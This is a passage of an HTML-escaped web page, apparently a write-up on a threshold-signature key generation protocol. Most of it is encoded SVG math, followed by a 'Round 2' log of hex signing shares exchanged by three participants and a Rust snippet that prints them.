use%20xlink%3Ahref%3D%22%23l%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20115.016%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23m%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20123.734%2010.5%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20136.961%2010.5%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.728%208.862c0%20.616-.602%201.008-1.26%201.008-.868%200-1.47-.56-1.792-1.666-.07-.252-.224-.966-.448-2.142h-.91c-.308%200-.462-.014-.462-.308%200-.154.14-.224.434-.224h.84L3.108.112c-.154-.798-.294-1.386-.42-1.778-.168-.518-.406-.784-.714-.784a.95.95%200%200%200-.532.154c.448.07.672.336.672.784%200%20.364-.182.546-.56.546-.476%200-.812-.42-.812-.896%200-.616.574-1.008%201.232-1.008.35%200%20.672.14.938.434.448.462.798%201.12%201.05%202.002.154.546.294%201.078.392%201.61l.812%204.354h1.148c.322%200%20.462.014.462.336%200%20.126-.14.196-.42.196H5.278c.084.574.476%202.688.602%202.954.14.294.336.434.588.434.21%200%20.392-.056.546-.154-.434-.098-.658-.35-.658-.784%200-.364.182-.546.56-.546.476%200%20.812.42.812.896%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.185%206.086a.41.41%200%200%201-.421.411c-.294%200-.579-.274-.579-.568a.41.41%200%200%201%20.422-.412c.294%200%20.578.275.578.569M1.882%204.35q-.692%200-1.088-.705C.568%203.254.46%202.979.46%202.822c0-.107.068-.156.196-.156q.159%200%20.215.176c.226.774.549%201.156.98%201.156.137%200%20.206-.098.206-.303%200-.128-.098-.441-.294-.951l-.608-1.558a1.2%201.2%200%200%201-.088-.422c0-.51.441-.862.95-.862.461%200%20.814.235%201.079.715.225.392.333.657.333.804%200%20.108-.069.167-.196.167q-.09-.013-.196-.157a.1.1%200%200%201-.02-.04C2.793.638%202.47.256%202.048.256q-.206%200-.206.294c0%20.147.05.353.157.607l.774%202.01a1%201%200%200%201%20.06.323c0%20.51-.442.862-.951.862%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.452-3.472c.126%200%20.196.07.196.196%200%20.042-.028.098-.07.154-.728.56-1.316%201.484-1.75%202.758-.378%201.106-.574%202.198-.574%203.276v1.176c0%201.078.196%202.17.574%203.276.434%201.274%201.022%202.198%201.75%202.758.042.042.07.098.07.154%200%20.126-.07.196-.196.196a.24.24%200%200%201-.098-.042c-.84-.644-1.54-1.596-2.114-2.87-.546-1.218-.826-2.366-.826-3.472V2.912c0-1.106.28-2.254.826-3.472.574-1.274%201.274-2.226%202.114-2.87a.24.24%200%200%201%20.098-.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.378%205.222c0%20.644-.63.966-1.33.966-.602%200-1.078-.322-1.442-.966-.294.644-.784.966-1.498.966-.686%200-1.246-.322-1.694-.952C1.036%204.69.84%204.284.84%204.018c0-.126.07-.196.21-.196.126%200%20.21.07.238.196.266.812.854%201.764%201.792%201.764.462%200%20.686-.294.686-.868%200-.294-.252-1.386-.742-3.262-.238-.938-.658-1.4-1.26-1.4a1.3%201.3%200%200%200-.532.112q.546.21.546.756c0%20.364-.182.546-.56.546-.462%200-.812-.392-.812-.854%200-.644.658-.966%201.344-.966.588%200%201.064.322%201.442.966.266-.644.77-.966%201.498-.966.672%200%201.232.322%201.68.952.378.546.574.952.574%201.218%200%20.126-.07.196-.21.196-.126%200-.196-.07-.238-.196C6.258%201.218%205.628.252%204.718.252c-.462%200-.7.28-.7.854%200%20.182.07.574.224%201.204l.476%201.89c.266%201.05.7%201.582%201.316%201.582.196%200%20.378-.042.532-.112-.378-.126-.56-.378-.56-.756%200-.364.196-.546.574-.546.448%200%20.798.406.798.854%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.092-3.43c.84.644%201.54%201.596%202.114%202.87.546%201.218.826%202.366.826%203.472v1.176c0%201.106-.28%202.254-.826%203.472-.574%201.274-1.274%202.226-2.114%202.87a.24.24%200%200%201-.098.042c-.126%200-.196-.07-.196-.196%200-.056.028-.112.07-.154.728-.56%201.316-1.484%201.75-2.758.378-1.106.574-2.198.574-3.276V2.912c0-1.078-.196-2.17-.574-3.276-.434-1.274-1.022-2.198-1.75-2.758-.042-.056-.07-.112-.07-.154%200-.126.07-.196.196-.196.014%200%20.056.014.098.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22f%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.772%205.138H1.12c-.224%200-.336-.112-.336-.322s.112-.322.336-.322h8.652c.224%200%20.336.112.336.322%200%20.168-.154.322-.336.322m0-2.632H1.12c-.224%200-.336-.112-.336-.322s.112-.322.336-.322h8.652c.224%200%20.336.112.336.322a.33.33%200%200%201-.336.322%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22g%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.972%202.016c0%20.126-.07.196-.224.196-.112%200-.196-.098-.238-.294C6.23.812%205.894.252%205.516.252c-.238%200-.364.196-.364.588%200%20.182.056.518.182%201.008l.798%203.15c.07.266.098.42.098.49q0%20.42-.462.42c-.294%200-.49-.168-.588-.49-.294.518-.714.77-1.246.77-.91%200-1.708-.462-2.408-1.386C.882%203.934.56%203.038.56%202.1c0-1.218.714-2.254%201.89-2.254.602%200%201.19.322%201.75.966.154-.532.63-.966%201.288-.966.966%200%201.26%201.134%201.484%202.17m-2.198%203.22c.126-.294.196-.49.196-.616%200-.056-.014-.126-.028-.224l-.686-2.688a1.6%201.6%200%200%200-.266-.49Q3.213.252%202.478.252c-.546%200-.826.42-.826%201.246q0%20.504.252%201.512c.294%201.19.714%201.988%201.232%202.422.28.238.546.35.812.35.378%200%20.658-.182.826-.546%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22h%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M5.057%203.126c0%201.108-.196%201.95-.578%202.529-.314.49-.941.852-1.696.852-.313%200-.598-.049-.843-.157C.862%205.9.51%204.645.51%203.126c0-.333.02-.647.049-.95C.725.892%201.323-.196%202.783-.196c.314%200%20.598.049.843.157%201.078.44%201.43%201.666%201.43%203.165M3.94%205.302c.107-.363.166-1.039.166-2.048%200-.96-.039-1.637-.127-2.039C3.86.637%203.449.157%202.783.157c-.245%200-.49.078-.715.245-.304.225-.49.666-.569%201.342-.029.226-.039.726-.039%201.51%200%20.95.05%201.607.147%201.96q.25.94%201.176.94c.588%200%201.02-.382%201.157-.852%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22i%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.772%203.836h-3.99v3.99q0%20.336-.336.336t-.336-.336v-3.99H1.12q-.336%200-.336-.336t.336-.336h3.99v-3.99q0-.336.336-.336t.336.336v3.99h3.99q.336%200%20.336.336a.34.34%200%200%201-.336.336%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22j%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.97%206.507c-.422-.411-1.05-.617-1.902-.617v-.431c.578%200%201.039.088%201.392.254V.833c0-.127-.01-.206-.04-.245C2.373.48%202.079.421%201.54.421h-.402V0L2.88.04%204.635%200v.421h-.401c-.54%200-.833.06-.892.167a.6.6%200%200%200-.03.245v5.36c0%20.265-.039.314-.343.314%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22k%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.946-3.5c.182%200%20.28.112.28.336v13.328c0%20.224-.098.336-.28.336s-.28-.112-.28-.336V-3.164c0-.224.098-.336.28-.336%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22l%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.976%208.694c0%20.378-.182.56-.56.56-.392%200-.784-.392-.784-.784%200-.378.196-.56.574-.56.392%200%20.77.392.77.784m-.35-6.762C3.318.826%202.87.266%202.296.266c-.182%200-.28.126-.28.392%200%20.238.406%201.442%201.232%203.626q.168.483.168.756c0%20.686-.476%201.19-1.162%201.19-.602%200-1.078-.35-1.428-1.064q-.42-.861-.42-1.134c0-.126.07-.182.224-.182.182%200%20.21.084.266.28.322%201.12.756%201.68%201.316%201.68.182%200%20.28-.126.28-.392%200-.196-.042-.42-.14-.686-.322-.882-.658-1.82-.938-2.562-.21-.56-.322-.938-.322-1.134%200-.686.504-1.19%201.176-1.19q.903%200%201.428%201.05c.266.546.406.924.406%201.134%200%20.126-.07.196-.224.196-.042%200-.252-.126-.252-.294%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22m%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.882.056h-2.66c-.882%200-1.666.294-2.31.896A3.36%203.36%200%200%200%201.82%203.164h6.062q.336%200%20.336.336t-.336.336H1.82c.084.882.448%201.61%201.092%202.212s1.428.896%202.31.896h2.66c.224%200%20.336.112.336.322q0%20.336-.336.336h-2.66c-1.134%200-2.1-.392-2.898-1.19S1.134%204.648%201.134%203.5s.392-2.114%201.19-2.912%201.764-1.19%202.898-1.19h2.66q.336%200%20.336.336c0%20.168-.154.322-.336.322%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22n%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22m5.81%209.072-1.4-5.614C4.074%202.114%203.654%201.232%203.136.812%202.8.546%202.506.406%202.254.406q-.462%200-.462.378c0%20.126.098.518.098.644%200%20.322-.154.476-.448.476-.434%200-.7-.224-.826-.672C.378.35.98-.154%201.806-.154c1.288%200%202.38.938%202.87%201.848.252.462.7%201.61.868%202.324%201.218.014%202.268.364%203.15%201.064a3.73%203.73%200%200%201%201.344%202.086c.07.266.098.504.098.714%200%20.35-.084.63-.266.868-.42.574-1.386.854-2.884.868l.056.252-.154.07-.91-.35c-1.232%200-2.254-.308-3.052-.924-.714-.532-1.148-1.12-1.302-1.778-.168-.686-.042-1.036.378-1.036.126%200%20.294.07.476.196.224.196.308.434.252.882q.042.483.042.546c.28%201.05%201.624%201.582%203.038%201.596m2.926-.532c.196-.266.294-.574.294-.91%200-.168-.028-.35-.07-.532-.434-1.68-1.54-2.534-3.29-2.562l1.134%204.536q.84%200%201.218-.126c.35-.112.588-.252.714-.406%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-display typst-doc&quot; style=&quot; width: 13.422125252525255em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;With &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%229.919pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%209.919%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22m5.395%208.424-1.3-5.213C3.783%201.963%203.393%201.144%202.912.754%202.6.507%202.327.377%202.093.377q-.429%200-.429.351c0%20.117.091.481.091.598%200%20.299-.143.442-.416.442-.403%200-.65-.208-.767-.624C.351.325.91-.143%201.677-.143c1.196%200%202.21.871%202.665%201.716.234.429.65%201.495.806%202.158%201.131.013%202.106.338%202.925.988a3.46%203.46%200%200%201%201.248%201.937c.065.247.091.468.091.663%200%20.325-.078.585-.247.806-.39.533-1.287.793-2.678.806l.052.234-.143.065-.845-.325c-1.144%200-2.093-.286-2.834-.858-.663-.494-1.066-1.04-1.209-1.651-.156-.637-.039-.962.351-.962.117%200%20.273.065.442.182.208.182.286.403.234.819q.039.449.039.507c.26.975%201.508%201.469%202.821%201.482m2.717-.494c.182-.247.273-.533.273-.845%200-.156-.026-.325-.065-.494-.403-1.56-1.43-2.353-3.055-2.379l1.053%204.212q.78%200%201.131-.117c.325-.104.546-.234.663-.377%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 0.9017272727272728em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt; the group of signers.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;round-2&quot;&gt;Round 2&lt;&#x2F;h3&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 1 sent to participant 2 : 21d572096976faf3962d2af54b2c5a0bafdee5f081e558dfa6e5dec42830cbb5
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 1 sent to participant 3 : bcf8cf26d4b4b79db158486c4ee673f3172a878c44582e0b3006f41d77af65fa
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 2 sent to participant 1 : e71ea9ddb484788e62b797d559083d759a2eab1112109022132d1319c4bc61bb
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 2 sent to participant 3 : 5284cc5c6a2a9f69adc975aba6293b7e4e69e38b740d0db0df3a5417c7a6d524
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 3 sent to participant 1 : 48badb74cda77ef986b4b788259c3624dd53da51bf5b5e3a0365a641d1260016
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 3 sent to participant 2 : 5ebd8b0b13a9793e70efe19e47cb3d4f98b0287f315c6c75e8cc9a21143de2c9
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;These are seemingly the signing shares being sent to each other. This was confirmed by taking a look at the actual code:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rs&quot; class=&quot;language-rs z-code&quot;&gt;&lt;code class=&quot;language-rs&quot; data-lang=&quot;rs&quot;&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-support z-macro z-rust&quot;&gt;println!&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;    &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Participant &lt;span class=&quot;z-constant z-other z-placeholder z-rust&quot;&gt;{}&lt;&#x2F;span&gt; sent to participant &lt;span class=&quot;z-constant z-other z-placeholder z-rust&quot;&gt;{}&lt;&#x2F;span&gt; : &lt;span class=&quot;z-constant z-other z-placeholder z-rust&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape z-rust&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;    index1&lt;span class=&quot;z-keyword z-operator z-arithmetic z-rust&quot;&gt;+&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;    index2&lt;span class=&quot;z-keyword z-operator z-arithmetic z-rust&quot;&gt;+&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;    &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;hex&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;encode&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        round2_package
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;signing_share&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;to_scalar&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
